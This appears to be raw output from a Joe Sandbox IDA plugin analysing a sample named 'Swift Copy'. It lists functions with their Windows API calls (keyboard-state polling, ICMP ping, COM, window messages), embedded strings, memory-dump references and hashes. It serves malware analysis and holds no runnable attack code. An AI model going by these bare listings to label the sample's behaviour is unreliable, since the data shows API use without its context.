CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00DF3F0E
CoGetObject.OLE32(?,00000000,00E0FB98,?), ref: 00DF3F2D
SetErrorMode.KERNEL32(00000000), ref: 00DF3F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00DF3FC4
VariantClear.OLEAUT32(?), ref: 00DF3FD8

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 18c0480968d4ac953fdda9cf3708d65109b88ea8a34b220b926e4dc5725b1be3
Instruction ID: b97ebb398803c8cd93aa8342d252f1f37895e1fc8cfe821f56bdb170a83cbcc7
Opcode Fuzzy Hash: 18c0480968d4ac953fdda9cf3708d65109b88ea8a34b220b926e4dc5725b1be3
Instruction Fuzzy Hash: 03C159716083099FC700DF68C88492BB7E9FF89744F16891DFA899B251D731EE45CB62

Function 00DE7A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00DE7AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00DE7B8F
SHGetDesktopFolder.SHELL32(?), ref: 00DE7BA3
CoCreateInstance.OLE32(00E0FD08,00000000,00000001,00E36E6C,?), ref: 00DE7BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00DE7C74
CoTaskMemFree.OLE32(?,?), ref: 00DE7CCC
SHBrowseForFolderW.SHELL32(?), ref: 00DE7D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00DE7D7A
CoTaskMemFree.OLE32(00000000), ref: 00DE7D81
CoTaskMemFree.OLE32(00000000), ref: 00DE7DD6
CoUninitialize.OLE32 ref: 00DE7DDC

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 64960836af3af2405ad764539d229ce2a92e373d09c336efc8404a9f23b6a559
Instruction ID: 37a6d3354cd8e9624d8db091e2a1a9eb345590a534570f37f0d6c5660cb3495e
Opcode Fuzzy Hash: 64960836af3af2405ad764539d229ce2a92e373d09c336efc8404a9f23b6a559
Instruction Fuzzy Hash: 04C14C75A04149EFCB14DFA5C884DAEBBF9FF48304B148598E419EB261D731ED85CBA0

Function 00E0541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00E05504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00E05515
CharNextW.USER32(00000158), ref: 00E05544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00E05585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00E0559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00E055AC

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 2b1ac85a6a4e5be2ee549cd3c93e64aa5ff5821c9b1f0bd7c88ba700596c1414
Instruction ID: d7e9daec505d4f992795cef67ce7e05f552a532bebf34dd1f4b0e727c1e7f63e
Opcode Fuzzy Hash: 2b1ac85a6a4e5be2ee549cd3c93e64aa5ff5821c9b1f0bd7c88ba700596c1414
Instruction Fuzzy Hash: 3F617836900608AEDF208F95DC84AFF3BB9EB0A724F105145F925BA2D0D7719AC5DF61

Function 00DCFA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00DCFAAF
SafeArrayAllocData.OLEAUT32(?), ref: 00DCFB08
VariantInit.OLEAUT32(?), ref: 00DCFB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00DCFB3A
VariantCopy.OLEAUT32(?,?), ref: 00DCFB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00DCFBA1
VariantClear.OLEAUT32(?), ref: 00DCFBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 00DCFBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00DCFBCC
VariantClear.OLEAUT32(?), ref: 00DCFBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00DCFBE9

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 7c45d43138905060317327ed85a84e0d32faf1653d57f5ef81d4a9ba4d2589fc
Instruction ID: eb73fc0aeeae87ac36e039d09311b1be96007432d98b24dc2b360a50e8577dfc
Opcode Fuzzy Hash: 7c45d43138905060317327ed85a84e0d32faf1653d57f5ef81d4a9ba4d2589fc
Instruction Fuzzy Hash: BE413D35A0021A9FCB00DF65C854EEEBBBAFF48344F108169F955A7261DB31AD85CBB0

Function 00DD9C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00DD9CA1
GetAsyncKeyState.USER32(000000A0), ref: 00DD9D22
GetKeyState.USER32(000000A0), ref: 00DD9D3D
GetAsyncKeyState.USER32(000000A1), ref: 00DD9D57
GetKeyState.USER32(000000A1), ref: 00DD9D6C
GetAsyncKeyState.USER32(00000011), ref: 00DD9D84
GetKeyState.USER32(00000011), ref: 00DD9D96
GetAsyncKeyState.USER32(00000012), ref: 00DD9DAE
GetKeyState.USER32(00000012), ref: 00DD9DC0
GetAsyncKeyState.USER32(0000005B), ref: 00DD9DD8
GetKeyState.USER32(0000005B), ref: 00DD9DEA

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 253f18007007b00572b39acac15645ecf9d09f8ba798f6127cc826270df3d113
Instruction ID: cde42b4e3188d2359d70e45d9101be96a0a960393af884a30e47a83768b14e5d
Opcode Fuzzy Hash: 253f18007007b00572b39acac15645ecf9d09f8ba798f6127cc826270df3d113
Instruction Fuzzy Hash: D541C4345047C96DFF30976588243A5FEA16B11344F0C805BDAC6677C2EBA799C8C7B2

Function 00DF055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00DF05BC
inet_addr.WSOCK32(?), ref: 00DF061C
gethostbyname.WSOCK32(?), ref: 00DF0628
IcmpCreateFile.IPHLPAPI ref: 00DF0636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00DF06C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00DF06E5
IcmpCloseHandle.IPHLPAPI(?), ref: 00DF07B9
WSACleanup.WSOCK32 ref: 00DF07BF

Strings

Ping, xrefs: 00DF0676

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: c11f565069c909c723b6a843a8bfcea4c0d3326a48d66a50b9aadd107a376859
Instruction ID: 7f75109b45b81f51d60c98e6e2b7cb4734c779a24647e7c52f30831a4364e969
Opcode Fuzzy Hash: c11f565069c909c723b6a843a8bfcea4c0d3326a48d66a50b9aadd107a376859
Instruction Fuzzy Hash: E9918D756042019FD720DF25C488F2ABBE0EF44318F19C5A9F5699B6A2C770ED85CFA1

Function 00DF8CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00DF8CF3

Part of subcall function 00DD8E54: _wcslen.LIBCMT ref: 00DD8E77

_wcslen.LIBCMT ref: 00DF8D4E
_wcslen.LIBCMT ref: 00DF8D9C
_wcslen.LIBCMT ref: 00DF8DDC
_wcslen.LIBCMT ref: 00DF8E6E

Strings

stdcall, xrefs: 00DF8DD6, 00DF8DDB
cdecl, xrefs: 00DF8D48, 00DF8D4D
none, xrefs: 00DF8E65, 00DF8E6A
winapi, xrefs: 00DF8D96, 00DF8D9B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 76356c9f37edb86227a00ae01d5f818e7a351fa18565ef4aa081830c3cacfceb
Instruction ID: 7d08e136cb1d6ec27dc5edfcb25197c25265197efba48df94720e9bd51d447d8
Opcode Fuzzy Hash: 76356c9f37edb86227a00ae01d5f818e7a351fa18565ef4aa081830c3cacfceb
Instruction Fuzzy Hash: CE51B472A0011AABCF14DF68C8518BEB7A1FF64324B268229F655E7280EB31DD40D7B1

Function 00DF372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00DF3774
CoUninitialize.OLE32 ref: 00DF377F
CoCreateInstance.OLE32(?,00000000,00000017,00E0FB78,?), ref: 00DF37D9
IIDFromString.OLE32(?,?), ref: 00DF384C
VariantInit.OLEAUT32(?), ref: 00DF38E4
VariantClear.OLEAUT32(?), ref: 00DF3936

Strings

NULL Pointer assignment, xrefs: 00DF381E
Failed to create object, xrefs: 00DF37E4, 00DF389A
Invalid parameter, xrefs: 00DF3865

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 227158c0c6f26dfbe1758297d0a73759770f45bd36b42b7c3699debf18977847
Instruction ID: f3c91ddd8a8049c925a013b743901b0fbafdfc31abb81e1bf72a7ec0ba4f61cd
Opcode Fuzzy Hash: 227158c0c6f26dfbe1758297d0a73759770f45bd36b42b7c3699debf18977847
Instruction Fuzzy Hash: 1861C5B0608305AFD310EF54C849F6ABBE4EF44750F168909FA8597291D774EE88CBB2

Function 00DE3388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00DE33CF

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00DE33F0

Strings

^ ERROR , xrefs: 00DE349E
Error: , xrefs: 00DE34D1
Line %d (File "%s"):, xrefs: 00DE3443, 00DE345C
"%s" (%d) : ==> %s:, xrefs: 00DE3522
"%s" (%d) : ==> %s:%s%s, xrefs: 00DE3504
Incorrect parameters to object property !, xrefs: 00DE34AB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 3598d0a62616929ab978f5d1c014e5d3a7ad077b74d5a5e68f1c3da7378adb9e
Instruction ID: 666acd3d1b80937559d638a06d2cb1dc9e6c0aa4d6f811baab413b1312e1c70f
Opcode Fuzzy Hash: 3598d0a62616929ab978f5d1c014e5d3a7ad077b74d5a5e68f1c3da7378adb9e
Instruction Fuzzy Hash: 4851AE72800209AADF15EBA0CD56EEEB778EF14340F248166F50973192EB316F98DB71

Function 00DDB5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00DDB5FC
_wcslen.LIBCMT ref: 00DDB608
_wcslen.LIBCMT ref: 00DDB64D
_wcslen.LIBCMT ref: 00DDB68C
_wcslen.LIBCMT ref: 00DDB6C7

Strings

KEYS, xrefs: 00DDB647, 00DDB64C
REMOVE, xrefs: 00DDB602, 00DDB607
EXISTS, xrefs: 00DDB686, 00DDB68B
APPEND, xrefs: 00DDB6C1, 00DDB6C6

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: b6e89d2e5c0efe396525c5795faf22c5b9b90be1bec6ec70fb67eab99da8a93d
Instruction ID: 245dfee233a681554478035ee5d01d8042b82eff7133d27e175b6c8c77426888
Opcode Fuzzy Hash: b6e89d2e5c0efe396525c5795faf22c5b9b90be1bec6ec70fb67eab99da8a93d
Instruction Fuzzy Hash: 1A41B632A00126DBCB105F7D88915BE7BA5EBA577CB2A412BE465DB384E731CD81C7B0

Function 00DE5393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00DE53A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00DE5416
GetLastError.KERNEL32 ref: 00DE5420
SetErrorMode.KERNEL32(00000000,READY), ref: 00DE54A7

Strings

NOTREADY, xrefs: 00DE544B
READY, xrefs: 00DE5460, 00DE5468
INVALID, xrefs: 00DE5459
UNKNOWN, xrefs: 00DE5444
READONLY, xrefs: 00DE5452

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 25c75327776fe4ec944a0944e2cab3ddcb66234a8b7e52a7eb1680ba7099e1cb
Instruction ID: 5d11c83bb3164260b5f4b339acc8706550d012c6e433e806b994dc263adce251
Opcode Fuzzy Hash: 25c75327776fe4ec944a0944e2cab3ddcb66234a8b7e52a7eb1680ba7099e1cb
Instruction Fuzzy Hash: A3311435A001449FCB00EF6AD489AAABBF4EF44349F58C065E406DB2D6E771DD86CBB0

Function 00E03C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00E03C79
SetMenu.USER32(?,00000000), ref: 00E03C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E03D10
IsMenu.USER32(?), ref: 00E03D24
CreatePopupMenu.USER32 ref: 00E03D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00E03D5B
DrawMenuBar.USER32 ref: 00E03D63

Strings

F, xrefs: 00E03D4E
0, xrefs: 00E03C54

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: 0582d1a2ecc0a7f55c01a6336343d60a7db0b64aa81a7d49aea21d8be027ab57
Instruction ID: fac75de221de01f0b28254d949d4c15fc2dae668a0843976716aa19051044a48
Opcode Fuzzy Hash: 0582d1a2ecc0a7f55c01a6336343d60a7db0b64aa81a7d49aea21d8be027ab57
Instruction Fuzzy Hash: B5419A79A01209EFDF14CF65D884AEA7BB9FF49304F140129FA46A73A0D731AA54CF90

Function 00E03A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00E03A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00E03AA0
GetWindowLongW.USER32(?,000000F0), ref: 00E03AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00E03AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00E03B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00E03BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00E03BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00E03BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00E03BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00E03C13

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 16bb9f1111aa98bc2d69cf430ab378720491d166ad4a950eef22b6538c9881e9
Instruction ID: 8f33d1d4d6af4549b08b9ff048e8e84723a86db268e72659030122452b3e5fc2
Opcode Fuzzy Hash: 16bb9f1111aa98bc2d69cf430ab378720491d166ad4a950eef22b6538c9881e9
Instruction Fuzzy Hash: B7614775900248AFDB10DFA8CC81EEEB7B8EB49704F104199FA15B72E1D770AE85DB60

Function 00DDB12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

